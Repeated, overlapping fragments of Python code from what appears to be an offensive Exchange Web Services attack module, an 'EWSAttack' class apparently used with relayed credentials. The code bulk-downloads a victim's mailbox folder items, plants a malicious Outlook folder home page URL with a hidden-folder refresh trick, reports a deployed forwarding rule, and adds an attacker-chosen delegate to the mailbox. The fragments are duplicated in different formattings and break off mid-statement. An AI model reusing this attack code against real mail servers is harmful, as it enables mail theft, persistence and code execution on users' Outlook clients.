def run(self): print helper.color("[+] Received response from EWS server") #------------------------------ GET FOLDER ITEMS ------------------------------ if self.config.ewsRequest == "getFolder": print helper.color( "[+] Received items list for folder [{}]".format( self.config.ewsFolder)) try: folderXML = ET.fromstring(self.client.lastresult) #---- Create the output directory to save all items outputDir = "output/" + self.config.ewsFolder if not os.path.exists(outputDir): os.makedirs(outputDir) #---- Download all items print helper.color( "[+] Sending requests to download all items from folder [{}]" .format(self.config.ewsFolder)) i = 0 for item in folderXML.findall(".//t:ItemId", exchangeNamespace): params = { 'ExchangeVersion': exchangeVersion, 'Id': item.get('Id'), 'ChangeKey': item.get('ChangeKey') } body = helper.convertFromTemplate( params, templatesFolder + "getItem.tpl") self.client.session.request('POST', self.client.target, body, {"Content-Type": "text/xml"}) result = self.client.session.getresponse().read() itemXML = ET.fromstring(result) mimeContent = itemXML.find(".//t:MimeContent", exchangeNamespace).text try: extension = "vcf" if self.config.ewsFolder == "contacts" else "eml" fileName = outputDir + "/item-{}.".format( i) + extension with open(fileName, 'w+') as fileHandle: fileHandle.write(b64decode(mimeContent)) fileHandle.close() print helper.color( "[+] Item [{}] saved successfully".format( fileName)) except IOError: print helper.color( "[!] Could not write file [{}]".format(fileName)) i = i + 1 except Exception, e: print helper.color( "[!] Error processing result for getFolder: [{}]".format( str(e)))
def run(self): print helper.color("[+] Received response from EWS server") #------------------------------ GET FOLDER ITEMS ------------------------------ if self.config.ewsRequest == "getFolder": print helper.color("[+] Received items list for folder [{}]".format(self.config.ewsFolder)) try: folderXML = ET.fromstring(self.client.lastresult) #---- Create the output directory to save all items outputDir = "output/" + self.config.ewsFolder if not os.path.exists(outputDir): os.makedirs(outputDir) #---- Download all items print helper.color("[+] Sending requests to download all items from folder [{}]".format(self.config.ewsFolder)) i = 0 for item in folderXML.findall(".//t:ItemId", exchangeNamespace): params = {'ExchangeVersion': exchangeVersion,'Id': item.get('Id'), 'ChangeKey': item.get('ChangeKey')} body = helper.convertFromTemplate(params, templatesFolder + "getItem.tpl") self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) result = self.client.session.getresponse().read() itemXML = ET.fromstring(result) mimeContent = itemXML.find(".//t:MimeContent", exchangeNamespace).text try: extension = "vcf" if self.config.ewsFolder == "contacts" else "eml" fileName = outputDir + "/item-{}.".format(i) + extension with open(fileName, 'w+') as fileHandle: fileHandle.write(b64decode(mimeContent)) fileHandle.close() print helper.color("[+] Item [{}] saved successfully".format(fileName)) except IOError: print helper.color("[!] Could not write file [{}]".format(fileName)) i = i + 1 except Exception, e: print helper.color("[!] Error processing result for getFolder: [{}]".format(str(e)))
print helper.color(result, 'blue') except Exception, e: print helper.color("[!] Error processing result for setHomePage: [{}]".format(str(e))) #------------------------------ FORWARD RULE ------------------------------ elif self.config.ewsRequest == "forwardRule": print helper.color("[+] Forward rule deployed") print helper.color(self.client.lastresult, 'blue') #------------------------------ ADD DELEGATE ------------------------------ elif self.config.ewsRequest == "addDelegate": try: #---- Prepare the request to resolve the user's principal eMail address params = {'ExchangeVersion': exchangeVersion, 'UserAccount': self.username.replace('\x00','') } body = helper.convertFromTemplate(params, templatesFolder + "resolveEmailAddr.tpl") #---- Send the request print helper.color("[+] Sending request to resolve the principal eMail address for user [{}] ".format(self.username)) self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) result = self.client.session.getresponse().read() #---- Parse the response and retrieve the eMail address respXML = ET.fromstring(result) eMailAddress = respXML.find(".//t:EmailAddress", exchangeNamespace).text #---- Prepare the request to add a 'destAddress' as a delegate for the user's mailbox params = {'ExchangeVersion': exchangeVersion, 'TargetAddress': eMailAddress, 'DelegateAddress': self.config.ewsDestAddress } body = helper.convertFromTemplate(params, templatesFolder + "addDelegate.tpl") #---- Send the request
class EWSAttack(Thread): global threadManager def __init__(self, config, HTTPClient, username): Thread.__init__(self) self.daemon = True self.config = config self.client = HTTPClient self.username = username #----------------------------------------------------------------------------------------- # Encodes the folder home page URL as a data structure expected by EWS # ref: http://www.infinitec.de/post/2011/10/05/Setting-the-Homepage-of-an-Exchange-folder-using-the-EWS-Managed-API.aspx # ref: https://social.msdn.microsoft.com/Forums/Lync/en-US/08572767-9375-4b87-9f05-7ff3e9928f89/ews-powershell-set-homepageurl?forum=exchangesvrdevelopment #----------------------------------------------------------------------------------------- def encodeHomePageURL(self, url): # Converting url to unicode string homePageHex = '' for c in url: homePageHex = homePageHex + c.encode('hex') + "00" # Preparing the structure s = "02" # WEBVIEW_PERSISTENCE_VERSION s = s + "00000001" # Type: WEBVIEWURL s = s + "00000001" # WEBVIEW_FLAGS_SHOWBYDEFAULT s = s + "00000000000000000000000000000000000000000000000000000000" # UNUSED s = s + "000000" s = s + format(len(homePageHex) / 2 + 2, 'x') s = s + "000000" s = s + homePageHex s = s + "0000" return b64encode(bytearray.fromhex(s)) #----------------------------------------------------------------------------------------- # The thread entry point #----------------------------------------------------------------------------------------- def run(self): print helper.color("[+] Received response from EWS server") #------------------------------ GET FOLDER ITEMS ------------------------------ if self.config.ewsRequest == "getFolder": print helper.color( "[+] Received items list for folder [{}]".format( self.config.ewsFolder)) try: folderXML = ET.fromstring(self.client.lastresult) #---- Create the output directory to save all items outputDir = "output/" + self.config.ewsFolder if not os.path.exists(outputDir): os.makedirs(outputDir) #---- Download all items print helper.color( "[+] Sending requests to download all items from folder [{}]" .format(self.config.ewsFolder)) i = 0 for item in folderXML.findall(".//t:ItemId", exchangeNamespace): params = { 'ExchangeVersion': exchangeVersion, 'Id': item.get('Id'), 'ChangeKey': item.get('ChangeKey') } body = helper.convertFromTemplate( params, templatesFolder + "getItem.tpl") self.client.session.request('POST', self.client.target, body, {"Content-Type": "text/xml"}) result = self.client.session.getresponse().read() itemXML = ET.fromstring(result) mimeContent = itemXML.find(".//t:MimeContent", exchangeNamespace).text try: extension = "vcf" if self.config.ewsFolder == "contacts" else "eml" fileName = outputDir + "/item-{}.".format( i) + extension with open(fileName, 'w+') as fileHandle: fileHandle.write(b64decode(mimeContent)) fileHandle.close() print helper.color( "[+] Item [{}] saved successfully".format( fileName)) except IOError: print helper.color( "[!] Could not write file [{}]".format(fileName)) i = i + 1 except Exception, e: print helper.color( "[!] Error processing result for getFolder: [{}]".format( str(e))) #------------------------------ SET FOLDER HOME PAGE ------------------------------ # Ref: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ elif self.config.ewsRequest == "setHomePage": print helper.color("[+] Received FolderID for folder [{}]".format( self.config.ewsFolder)) try: folderXML = ET.fromstring(self.client.lastresult) folderID = folderXML.find(".//t:FolderId", exchangeNamespace).get('Id') changeKey = folderXML.find(".//t:FolderId", exchangeNamespace).get('ChangeKey') #---- Prepare the request to set the homePageUrl homePage = self.encodeHomePageURL(self.config.ewsHomePageURL) params = { 'ExchangeVersion': exchangeVersion, 'FolderId': folderID, 'ChangeKey': changeKey, 'HomePage': homePage } body = helper.convertFromTemplate( params, templatesFolder + "setHomePage.tpl") #---- Send the request print helper.color( "[+] Sending request to set the [{}] folder's home page to [{}]" .format(self.config.ewsFolder, self.config.ewsHomePageURL)) self.client.session.request('POST', self.client.target, body, {"Content-Type": "text/xml"}) result = self.client.session.getresponse().read() #---- Prepare the request to create a hidden folder (trick to force the refresh of the Outlook client) params = { 'ExchangeVersion': exchangeVersion, 'ParentFolder': self.config.ewsFolder } body = helper.convertFromTemplate( params, templatesFolder + "createHiddenFolder.tpl") #---- Send the request print helper.color( "[+] Sending request to create a hidden folder under the [{}] folder" .format(self.config.ewsFolder)) self.client.session.request('POST', self.client.target, body, {"Content-Type": "text/xml"}) result = self.client.session.getresponse().read() print helper.color(result, 'blue') except Exception, e: print helper.color( "[!] Error processing result for setHomePage: [{}]".format( str(e))) print sys.exc_info()[0]
print sys.exc_info()[0] #------------------------------ FORWARD RULE ------------------------------ elif self.config.ewsRequest == "forwardRule": print helper.color("[+] Forward rule deployed") print helper.color(self.client.lastresult, 'blue') #------------------------------ ADD DELEGATE ------------------------------ elif self.config.ewsRequest == "addDelegate": try: #---- Prepare the request to resolve the user's principal eMail address params = { 'ExchangeVersion': exchangeVersion, 'UserAccount': self.username.replace('\x00', '') } body = helper.convertFromTemplate( params, templatesFolder + "resolveEmailAddr.tpl") #---- Send the request print helper.color( "[+] Sending request to resolve the principal eMail address for user [{}] " .format(self.username)) self.client.session.request('POST', self.client.target, body, {"Content-Type": "text/xml"}) result = self.client.session.getresponse().read() #---- Parse the response and retrieve the eMail address respXML = ET.fromstring(result) eMailAddress = respXML.find(".//t:EmailAddress", exchangeNamespace).text #---- Prepare the request to add a 'destAddress' as a delegate for the user's mailbox